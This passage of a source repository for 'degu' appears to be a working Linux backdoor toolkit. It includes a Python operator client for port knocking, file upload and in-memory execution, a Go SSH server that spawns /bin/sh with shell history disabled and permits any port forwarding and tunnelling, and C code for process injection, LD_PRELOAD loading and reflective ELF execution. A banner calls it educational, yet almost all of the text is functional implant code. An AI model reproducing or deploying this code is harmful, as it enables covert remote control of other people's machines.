164 | if not d.knock( ':' + args['']):
165 | log.error("knock failed")
166 | sys.exit()
167 | time.sleep(2) # waiting for port to come up on degu
168 | try:
169 | fil = d.upload( args[''], args[''] )
170 | d.log.info("uploaded %s on %s:%s"%(args[''],args[''],args['']))
171 | except Exception as e:
172 | d.log.error("unable to upload %s : %s" % (args[''],e))
173 |
174 | if args['cb']:
175 | d = degu.degu(args[''],priv = PRIVATE_KEY)
176 | pool = ThreadPool(processes=1)
177 | async_result = pool.apply_async(d.rupload, (args[''], args[''],args['']))
178 | if not d.knock( '%s:%s' % ( args[''] , args[''])):
179 | log.error("knock failed")
180 | sys.exit()
181 |
182 | a = None
183 | try:
184 | a = async_result.get()
185 | d.log.info("uploaded %s on %s:%s"%(args[''],args[''],args['']))
186 | except TimeoutError as e:
187 | log.error(f"timeout reached : {e}")
188 |
189 | if args['exe']:
190 | if args['bind']:
191 | d = degu.degu(args[''],priv = PRIVATE_KEY)
192 | if not d.knock( ':' + args['']):
193 | log.error("knock failed")
194 | sys.exit()
195 | time.sleep(2) # waiting for port to come up on degu
196 | try:
197 | d.mem_exec(args[''],args[''])
198 | d.log.info("launch exe %s on %s"%(args[''],args['']))
199 | except Exception as e:
200 | d.log.error("unable to upload %s : %s" % (args[''],e))
201 | del d
202 | if args["cb"]:
203 | d = degu.degu(args[''],priv = PRIVATE_KEY)
204 | pool = ThreadPool(processes=1)
205 | async_result = pool.apply_async(d.rmem_exec, (args[''],args[''],args['']))
206 | if not d.knock( '%s:%s' % ( args[''] , args[''])):
207 | log.error("knock failed")
208 | sys.exit()
209 | a = None
210 | try:
211 | a = async_result.get()
212 | except TimeoutError as e:
213 | log.error(f"timeout reached : {e}")
214 | if a :
215 | print(a.decode("ascii"))
216 |
217 | if args['ghost']:
218 | d = degu.degu(args[''],priv = PRIVATE_KEY)
219 | d.ghost_exec(args[''])
220 |
221 | if args['keygen']:
222 | print(degu.degu.keygen())
223 |
224 | if args['getpub']:
225 | degu.degu.getpub()
226 |
--------------------------------------------------------------------------------
/degu-client/helpers/ssh/degussh.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "embed"
5 | "errors"
6 | "io/fs"
7 | "net"
8 | "os"
9 | "sync"
10 |
11 | "github.com/gliderlabs/ssh"
12 | gossh "golang.org/x/crypto/ssh"
13 | )
14 |
15 | //go:embed keys/hostkey keys/keydegussh.pub
16 | var embeddedKeys embed.FS
17 |
18 | var ee = []string{
19 | "TERM=xterm",
20 | "HISTFILE=/dev/null",
21 | "history=/dev/null",
22 | "HOME=/dev/shm/",
23 | "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin"}
24 |
25 | type StdinListener struct {
26 | connectionOnce sync.Once
27 | closeOnce sync.Once
28 | connChan chan net.Conn
29 | }
30 |
31 | func NewStdinListener() net.Listener {
32 | listener := new(StdinListener)
33 | listener.connChan = make(chan net.Conn, 1)
34 | return listener
35 | }
36 |
37 | type stdinConn struct {
38 | net.Conn
39 | listener net.Listener
40 | }
41 |
42 | func (c stdinConn) Close() (err error) {
43 | err = c.Conn.Close()
44 | c.listener.Close()
45 | return err
46 | }
47 |
48 | func (listener *StdinListener) Accept() (net.Conn, error) {
49 | listener.connectionOnce.Do(func() {
50 | conn, err := net.FileConn(os.Stdin)
51 | if err == nil {
52 | listener.connChan <- stdinConn{Conn: conn, listener: listener}
53 | os.Stdin.Close()
54 | } else {
55 | listener.Close()
56 | }
57 | })
58 | conn, ok := <-listener.connChan
59 | if ok {
60 | return conn, nil
61 | } else {
62 | return nil, errors.New("Closed")
63 | }
64 | }
65 |
66 | func (listener *StdinListener) Close() error {
67 | listener.closeOnce.Do(func() { close(listener.connChan) })
68 | return nil
69 | }
70 |
71 | func (listener *StdinListener) Addr() net.Addr {
72 | return nil
73 | }
74 |
75 | func main() {
76 |
77 | var forwardHandler = &ssh.ForwardedTCPHandler{}
78 |
79 | hostKeyBytes, err := fs.ReadFile(embeddedKeys, "keys/hostkey")
80 |
81 | if err != nil {
82 | os.Exit(-1)
83 | }
84 |
85 | hostKey, err := gossh.ParsePrivateKey(hostKeyBytes)
86 |
87 | if err != nil {
88 | os.Exit(-1)
89 | }
90 |
91 | var server = &ssh.Server{
92 |
93 | PublicKeyHandler: pubKeyAuth,
94 | HostSigners: []ssh.Signer{hostKey},
95 |
96 | Handler: execHandler("/bin/sh"),
97 | LocalPortForwardingCallback: LCallback(),
98 | ReversePortForwardingCallback: RCallback(),
99 | SessionRequestCallback: AnyCallback(),
100 |
101 | ChannelHandlers: map[string]ssh.ChannelHandler{
102 | "direct-tcpip": ssh.DirectTCPIPHandler,
103 | "session": ssh.DefaultSessionHandler,
104 | "tun@openssh.com": VPNHandler,
105 | },
106 |
107 | RequestHandlers: map[string]ssh.RequestHandler{
108 | "tcpip-forward": forwardHandler.HandleSSHRequest,
109 | "cancel-tcpip-forward": forwardHandler.HandleSSHRequest,
110 | },
111 | SubsystemHandlers: map[string]ssh.SubsystemHandler{
112 | "sftp": sftpHandler,
113 | "knock": knockHandler,
114 | },
115 | }
116 | server.Serve(NewStdinListener())
117 | }
118 |
--------------------------------------------------------------------------------
/degu-client/helpers/ssh/go.mod:
--------------------------------------------------------------------------------
1 | module degussh
2 |
3 | go 1.23.1
4 |
5 | toolchain go1.24.1
6 |
7 | require (
8 | github.com/creack/pty v1.1.21
9 | github.com/gliderlabs/ssh v0.3.6
10 | github.com/inetaf/tcpproxy v0.0.0-20250222171855-c4b9df066048
11 | github.com/pkg/sftp v1.13.6
12 | github.com/prometheus-community/pro-bing v0.6.1
13 | golang.org/x/crypto v0.32.0
14 | gvisor.dev/gvisor v0.0.0-20250318191406-9e676ea1de20
15 | )
16 |
17 | require (
18 | github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be // indirect
19 | github.com/google/btree v1.1.2 // indirect
20 | github.com/google/uuid v1.6.0 // indirect
21 | github.com/kr/fs v0.1.0 // indirect
22 | golang.org/x/net v0.34.0 // indirect
23 | golang.org/x/sync v0.10.0 // indirect
24 | golang.org/x/sys v0.29.0 // indirect
25 | golang.org/x/time v0.7.0 // indirect
26 | )
27 |
--------------------------------------------------------------------------------
/degu-client/helpers/ssh/go.sum:
--------------------------------------------------------------------------------
1 | github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8=
2 | github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4=
3 | github.com/armon/go-proxyproto v0.0.0-20210323213023-7e956b284f0a/go.mod h1:QmP9hvJ91BbJmGVGSbutW19IC0Q9phDCLGaomwTJbgU=
4 | github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
5 | github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
7 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
8 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
9 | github.com/gliderlabs/ssh v0.3.6 h1:ZzjlDa05TcFRICb3anf/dSPN3ewz1Zx6CMLPWgkm3b8=
10 | github.com/gliderlabs/ssh v0.3.6/go.mod h1:zpHEXBstFnQYtGnB8k8kQLol82umzn/2/snG7alWVD8=
11 | github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU=
12 | github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
13 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
14 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
15 | github.com/inetaf/tcpproxy v0.0.0-20250222171855-c4b9df066048 h1:jaqViOFFlZtkAwqvwZN+id37fosQqR5l3Oki9Dk4hz8=
16 | github.com/inetaf/tcpproxy v0.0.0-20250222171855-c4b9df066048/go.mod h1:Di7LXRyUcnvAcLicFhtM9/MlZl/TNgRSDHORM2c6CMI=
17 | github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8=
18 | github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=
19 | github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo=
20 | github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
21 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
22 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
23 | github.com/prometheus-community/pro-bing v0.6.1 h1:EQukUOma9YFZRPe4DGSscxUf9LH07rpqwisNWjSZrgU=
24 | github.com/prometheus-community/pro-bing v0.6.1/go.mod h1:jNCOI3D7pmTCeaoF41cNS6uaxeFY/Gmc3ffwbuJVzAQ=
25 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
26 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
27 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
28 | github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
29 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
30 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
31 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
32 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
33 | golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw=
34 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
35 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
36 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
37 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
38 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
39 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
40 | golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco=
41 | golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0=
42 | golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k=
43 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
44 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
45 | golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
46 | golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
47 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
48 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
49 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
50 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
51 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
52 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
53 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
54 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
55 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
56 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
57 | golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
58 | golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg=
59 | golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek=
60 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
61 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
62 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
63 | golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
64 | golang.org/x/time v0.7.0 h1:ntUhktv3OPE6TgYxXWv9vKvUSJyIFJlyohwbkEwPrKQ=
65 | golang.org/x/time v0.7.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
66 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
67 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
68 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
69 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
70 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
71 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
72 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
73 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
74 | gvisor.dev/gvisor v0.0.0-20250318191406-9e676ea1de20 h1:ERER+VLrwFBdgodM25OQhVVdlLU9F6IIWXs6TWgTrPY=
75 | gvisor.dev/gvisor v0.0.0-20250318191406-9e676ea1de20/go.mod h1:5DMfjtclAbTIjbXqO1qCe2K5GKKxWz2JHvCChuTcJEM=
76 |
--------------------------------------------------------------------------------
/degu-client/helpers/ssh/handlers.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "compress/gzip"
6 | "encoding/base64"
7 | "encoding/json"
8 | "fmt"
9 | "io"
10 | "io/fs"
11 | "net"
12 | "os/exec"
13 | "strings"
14 |
15 | "github.com/creack/pty"
16 | "github.com/gliderlabs/ssh"
17 | "github.com/pkg/sftp"
18 | gossh "golang.org/x/crypto/ssh"
19 | )
20 |
21 | func sftpHandler(s ssh.Session) {
22 | server, err := sftp.NewServer(s)
23 | if err != nil {
24 | return
25 | }
26 | if err := server.Serve(); err == io.EOF {
27 | server.Close()
28 | }
29 | }
30 | func knockHandler(s ssh.Session) {
31 |
32 | dataRaw, err := io.ReadAll(s)
33 | if err != nil {
34 | fmt.Fprintf(s.Stderr(), "error reading: %v\n", err)
35 | s.Exit(1)
36 | return
37 | }
38 | data := strings.ReplaceAll(string(dataRaw), "'", "\"")
39 |
40 | var payload struct {
41 | B64 string `json:"b64"`
42 | Port int `json:"p"`
43 | Host interface{} `json:"host"`
44 | }
45 |
46 | if err := json.Unmarshal([]byte(data), &payload); err != nil {
47 | fmt.Fprintf(s.Stderr(), "error parsing json: %v\n", err)
48 | s.Exit(1)
49 | return
50 | }
51 |
52 | var hostStr string
53 | switch h := payload.Host.(type) {
54 | case string:
55 | hostStr = h
56 | case float64:
57 | hostStr = fmt.Sprintf("%g", h)
58 | default:
59 | fmt.Fprintf(s.Stderr(), "host error\n")
60 | s.Exit(1)
61 | return
62 | }
63 |
64 | decodedData, err := base64.StdEncoding.DecodeString(payload.B64)
65 | if err != nil {
66 | fmt.Fprintf(s.Stderr(), "error decoding base64: %v\n", err)
67 | s.Exit(1)
68 | return
69 | }
70 |
71 | reader, err := gzip.NewReader(bytes.NewReader(decodedData))
72 | if err != nil {
73 | fmt.Fprintf(s.Stderr(), "error gzip deflate: %v\n", err)
74 | s.Exit(1)
75 | return
76 | }
77 | defer reader.Close()
78 |
79 | uncompressedData, err := io.ReadAll(reader)
80 | if err != nil {
81 | fmt.Fprintf(s.Stderr(), "error: %v\n", err)
82 | s.Exit(1)
83 | return
84 | }
85 |
86 | addr := fmt.Sprintf("%s:%d", hostStr, payload.Port)
87 | conn, err := net.Dial("udp", addr)
88 | if err != nil {
89 | fmt.Fprintf(s.Stderr(), "error UDP connect: %v\n", err)
90 | s.Exit(1)
91 | return
92 | }
93 | defer conn.Close()
94 |
95 | _, err = conn.Write(uncompressedData)
96 | if err != nil {
97 | fmt.Fprintf(s.Stderr(), "error UDP send: %v\n", err)
98 | s.Exit(1)
99 | return
100 | }
101 |
102 | fmt.Fprintf(s, "knock ok %s\n", addr)
103 | s.Exit(0)
104 | }
105 |
106 | func LCallback() ssh.LocalPortForwardingCallback {
107 | return func(ctx ssh.Context, dhost string, dport uint32) bool {
108 | return true
109 | }
110 | }
111 | func RCallback() ssh.ReversePortForwardingCallback {
112 | return func(ctx ssh.Context, host string, port uint32) bool {
113 | return true
114 | }
115 | }
116 |
117 | func AnyCallback() ssh.SessionRequestCallback {
118 | return func(sess ssh.Session, requestType string) bool {
119 | return true
120 | }
121 | }
122 |
123 | func VPNHandler(srv *ssh.Server, conn *gossh.ServerConn, newChan gossh.NewChannel, ctx ssh.Context) {
124 | Tun(newChan)
125 | }
126 |
127 | func pubKeyAuth(ctx ssh.Context, key ssh.PublicKey) bool {
128 |
129 | authorizedKeysBytes, err := fs.ReadFile(embeddedKeys, "keys/keydegussh.pub")
130 | if err != nil {
131 | return false
132 | }
133 | publicKey, _, _, _, err := gossh.ParseAuthorizedKey(authorizedKeysBytes)
134 | if err != nil {
135 | return false
136 | }
137 | if bytes.Equal(key.Marshal(), publicKey.Marshal()) {
138 | return true
139 | }
140 |
141 | return false
142 | }
143 |
144 | func execHandler(shell string) ssh.Handler {
145 |
146 | return func(s ssh.Session) {
147 | _, _, ispty := s.Pty()
148 | switch {
149 |
150 | case ispty:
151 |
152 | var _, winCh, _ = s.Pty()
153 | var cmd = exec.CommandContext(s.Context(), shell)
154 | cmd.Env = ee
155 | f, err := pty.Start(cmd)
156 | if err != nil {
157 | return
158 | }
159 |
160 | go func() {
161 | for win := range winCh {
162 | winSize := &pty.Winsize{Rows: uint16(win.Height), Cols: uint16(win.Width)}
163 | pty.Setsize(f, winSize)
164 | }
165 | }()
166 |
167 | go func() {
168 | io.Copy(f, s)
169 | s.Close()
170 | }()
171 |
172 | go func() {
173 | io.Copy(s, f)
174 | s.Close()
175 | }()
176 | done := make(chan error, 1)
177 | go func() { done <- cmd.Wait() }()
178 |
179 | select {
180 | case err := <-done:
181 | if err != nil {
182 | s.Exit(255)
183 | return
184 | }
185 | s.Exit(cmd.ProcessState.ExitCode())
186 | return
187 |
188 | case <-s.Context().Done():
189 | return
190 | }
191 |
192 | case len(s.Command()) > 0:
193 | fullCmd := strings.Join(s.Command(), " ")
194 | cmd := exec.CommandContext(s.Context(), shell, "-c", fullCmd)
195 |
196 | cmd.Stdin = s
197 | //cmd.Stdin = nil
198 | cmd.Stdout = s
199 | cmd.Stderr = s
200 | cmd.Env = ee
201 |
202 | if err := cmd.Start(); err != nil {
203 | fmt.Fprintf(s, "error launch: %v\n", err)
204 | s.Exit(255)
205 | return
206 | }
207 |
208 | if err := cmd.Wait(); err != nil {
209 | fmt.Fprintf(s, "error exec: %v\n", err)
210 | s.Exit(255)
211 | return
212 | }
213 | s.Exit(cmd.ProcessState.ExitCode())
214 |
215 | default:
216 | <-s.Context().Done()
217 | return
218 | }
219 | }
220 | }
221 |
--------------------------------------------------------------------------------
/degu.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/io-tl/degu-lib/f54dfffe07973dc8312e23a0b7ee0feb15ce30a8/degu.png
--------------------------------------------------------------------------------
/degu/Makefile:
--------------------------------------------------------------------------------
1 | CFLAGS += -I. -I.. -I../crypto -I ../injector/include
2 |
3 | SRC=$(wildcard *.c)
4 | OBJS=$(SRC:.c=.o)
5 | BIN=degu.pie
6 | all: degu
7 |
8 | degu: $(OBJS)
9 | @$(CC) $(LDFLAGS) $(OBJS) -pie -o ../$(BIN) ../crypto/degucrypto.a ../injector/src/linux/libinjector.a ../ulexec/ulexe.a
10 |
11 | %.o : %.c
12 | @echo CC $<
13 | @$(CC) $(CFLAGS) -c $<
14 |
15 | clean:
16 | @$(RM) -f *.o
17 |
18 |
19 |
--------------------------------------------------------------------------------
/degu/degu.h:
--------------------------------------------------------------------------------
1 | #include "keys.h"
2 |
3 | void trace(const char* format, ...);
4 | void hexdump(const char* header, const void* data, size_t size);
5 |
6 | #ifdef PROD
7 | #define TRACE (void)sizeof
8 | #define HEXDUMP (void)sizeof
9 | #define DEGU_FUNC_EXPORT __attribute__ ((visibility ("default")))
10 | #define DEGU_FUNC_INIT __attribute__((constructor))
11 | #else
12 | #define TRACE( fmt , args... ) trace("\033[1;36m%-18s\033[0;33m%-18s\033[0;32m#%d \t\033[0m" fmt , __FILE__ , __FUNCTION__ , __LINE__ , ##args );
13 | #define HEXDUMP( header, data , len ) hexdump( header, data , len )
14 | #define DEGU_FUNC_EXPORT __attribute__ ((visibility ("default")))
15 | #define DEGU_FUNC_INIT __attribute__((constructor,visibility ("default")))
16 | #endif
17 |
18 | #define PKTLEN_TRIGG 0x00000400
19 | #define STRIPUDP 42
20 | #define LIB_BYPASS "_LC" // flag to unload raw sock and alarm when used by python
21 | #define PRELOAD "LD_PRELOAD"
22 | #define PORT "PORT"
23 | #define WAKE 2 // timer sigalarm
24 | #define TIMEOUT 10 // timeout for network operations
25 |
26 | #define DEGU_EXE_MEMFD ">" // magic tiny degu header for upload
29 | #define DEGU_DL "Oo<<" // magic tiny degu header for download
30 | #define DEGU_GHOST_MAX_CMD 1300 // max bytes for cmd
31 |
32 | extern unsigned char bot_public_key[32];
33 | extern unsigned char bot_private_key[64];
34 | extern unsigned char knock_key[32];
35 | extern unsigned char public_key[32];
36 |
37 | //ulexec
38 | int reflect_execv(unsigned char *elf, char **argv, size_t binsize);
39 |
40 | //crypto
41 | int verify_buffer(unsigned char *data,size_t len);
42 | unsigned int xvrfy(const unsigned char* signature, const unsigned char* message, size_t message_len);
43 | void xdata(uint8_t *key, unsigned char* data, ssize_t len);
44 | void ed25519_getpub(unsigned char *public_key, unsigned char *private_key);
45 | void ed25519_key_exchange(unsigned char *shared_secret, const unsigned char *public_key, const unsigned char *private_key);
46 | void setup_keys(void);
47 |
48 | //inject
49 | int inject(int pid,char *dso);
50 |
51 | // degu operations
52 | int knock(unsigned char* data,size_t len);
53 | void knock_handle_exe(int sock,unsigned char *header,unsigned char *secret);
54 | void knock_handle_up(int sock,unsigned char *header,unsigned char *secret);
55 | void knock_handle_dl(int sock,unsigned char *header,unsigned char *secret);
56 | void knock_ghost_exe( unsigned char * cmd, size_t len );
57 |
58 | // lib
59 | DEGU_FUNC_EXPORT void xnock(unsigned char* data, ssize_t len);
60 | DEGU_FUNC_EXPORT int xbuf(unsigned char *destkey,unsigned char *privkey, unsigned char *data, size_t len);
61 | DEGU_FUNC_EXPORT void xpub(unsigned char *destkey,unsigned char *privkey);
62 | DEGU_FUNC_EXPORT void xsig(unsigned char* signature, const unsigned char* message, size_t message_len, const unsigned char* private_key);
63 | DEGU_FUNC_EXPORT void keygen(char* path);
64 |
65 | // start
66 | DEGU_FUNC_INIT void degu(); // lib entry point
67 |
68 | //user
69 | void sig_alrm(int signum);
70 | void parasite(int port, int clean);
71 | void usereffort(int port,char *bin);
--------------------------------------------------------------------------------
/degu/degu.txt:
--------------------------------------------------------------------------------
1 | THIS IS JUST FOR EDUCATIONAL PURPOSE, USE EXCLUSIVELY ON YOUR OWN COMPUTER.
2 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
3 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
4 | ░░░░░░░░▄███████▄░░░░░░░░░░░░░░░░░░░░░
5 | ░░░░░░▄██░░░▄▄░▀█░░░░░░░░░░░░░░░░░░░░░
6 | ░░░░░░██░░░███░░█▄█████▄░░░░░░░░░░░░░░
7 | ░░░░░░██▄░░▀▀░░░██▀▄▄░██░░▄▄▄▄▄░░░░░░░
8 | ░░░░░░░▀██▄▄▄▄▄██░▀▀▀▄██▄██▀▀▀███▄░░░░
9 | ░▄▀▄░░░▄▄███████▄▄▄███▀▀░░░░░░░▀██▄░░░
10 | ░░▀▄▀▄█▀▀▄▄▄░░░░▀▀▀▀░░░░░░░░░░░░░▀█▄░░
11 | ░░░░█▀░░░█▄█░░░░░░░░░░░▄▄▄▄▄░░░░░░██░░
12 | ░░░█▀░░░░░░░░░░░░░░░░▄██▀▀▀▀██▄░░░██░░
13 | ░░█▀░░▄▄█▄▄▄▄▄▄▄▄░░░██▀░░░░░░░▀░░░██▄░
14 | ░░░▀▀▀▀█▀▄▀▀▀▀▀██▄█▄██░░░░░░░░░▄▄████░
15 | ░░░░░░░░▀▄▀░▀█▀██▀▀░▀█▄▄▄██░░░▄███▀██░
16 | ░░░░░░░░░░░░░░▀▀░░░░░░█▀▀░░░▄██▀▀░░██░
17 | ░░░░░░░░░░░░░░░░░░░▄█▀█████▀▀▀░░░░▄██░
18 | ░░░░░░░░░░░░░░░░░░░░▀▀█░░░░░░░░░░▄██░░
19 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▄▄██▀░░░
20 | ░░░░░░░░░░░░░░░░░▄█████████████▀▀░░░░░
21 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
22 |
--------------------------------------------------------------------------------
/degu/inject.c:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #include "degu.h"
22 | #include "injector.h"
23 |
24 | #define INVALID_PID -1
25 |
26 | int inject(int pid,char *dso) {
27 | injector_t *injector;
28 |
29 | if (injector_attach(&injector, pid) != 0) {
30 | fprintf(stderr, "%i 3<\n",pid);
31 | return -101;
32 | }
33 | if (!injector_inject(injector, dso, NULL) == 0) {
34 | fprintf(stderr, "%s :(\n",dso);
35 | return -102;
36 | }
37 | return 0;
